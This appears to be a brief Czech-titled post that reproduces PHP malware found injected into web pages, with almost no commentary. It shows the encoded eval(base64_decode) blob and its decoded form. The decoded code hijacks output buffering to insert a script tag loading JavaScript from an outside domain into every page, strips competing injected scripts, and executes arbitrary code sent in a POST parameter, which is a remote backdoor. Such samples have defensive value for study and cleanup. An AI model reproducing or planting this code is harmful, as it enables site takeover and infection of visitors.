Skodlivy kod vkladany do stranok

<?php
if(file_exists(intval("./".$_GET['id']).".php"  ))
include intval($_GET['id']).".php";
else
echo "<br /><h1>Stránka nejestvuje</h1>";
?>

<?php eval(base64_decode('aWYoIWlzc2V0KCRkNzQxKSl7ZnVuY3Rpb24gZDc0KCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/
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kZWNvZGUoJF9QT1NUWydlJ10pKTs=')); ?>

<?php
if(!isset($d741)){function d74($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL3RzdWthaXN1dGVjb250YWN0LmNvbS9pbWFnZXMvZ2lmaW1nLnBocCA+PC9zY3JpcHQ+'),'',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function d742($a,$b,$c,$d){global $d741;$s=array();if(function_exists($d741))call_user_func($d741,$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='d74')return;elseif($a=='ob_gzhandler')break;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('d74');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$d74l=(($a=@set_error_handler('d742'))!='d742')?$a:0;eval(base64_decode($_POST['e']));
?>